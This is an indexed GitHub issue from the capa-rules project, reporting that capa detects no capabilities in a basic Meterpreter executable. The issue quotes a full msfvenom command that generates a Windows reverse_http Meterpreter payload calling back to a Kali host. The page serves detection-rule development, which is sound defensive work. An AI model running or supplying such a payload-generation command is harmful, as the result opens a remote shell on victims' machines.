mandiant / mandiant/capa-rules

Capa not detecting basic meterpreter exe - no capabilities found

Open
#1,057 3 comments 0 reactions 0 assignees View on GitHub
Dominant language
No language data
Stars
736
Forks
245
Avg merge
4d 53m
Merged PRs (30d)
2

Description

Hi there, running the latest cape build, and when scanning a simple meterpreter exe - it finds nothing (see screenshots). payload generated with "msfvenom -p windows/x64/meterpreter/reverse_http -a x64 LHOST=kali.local LPORT=80 -f exe > met64http.exe".

Using the standalone capa.exe :

![Image](https://github.com/user-attachments/assets/52bcb3a5-4eaa-405a-9d17-c37dcdd4436a)

Contributor guide

Open the contributing guide

Research direction

Start by reproducing the scan with the standalone capa.exe using the meterpreter executable generated by the msfvenom command in the issue. Inspect the reported capabilities and compare them with the expected meterpreter behavior; done should include a clear diagnosis and a verified fix or documented reason why no capabilities are detected.

Written by the indexing model from the issue text.

Assessment

Domain
reverse-engineering, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Stale
Clarity
Needs clarification
Newbie friendliness
25/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.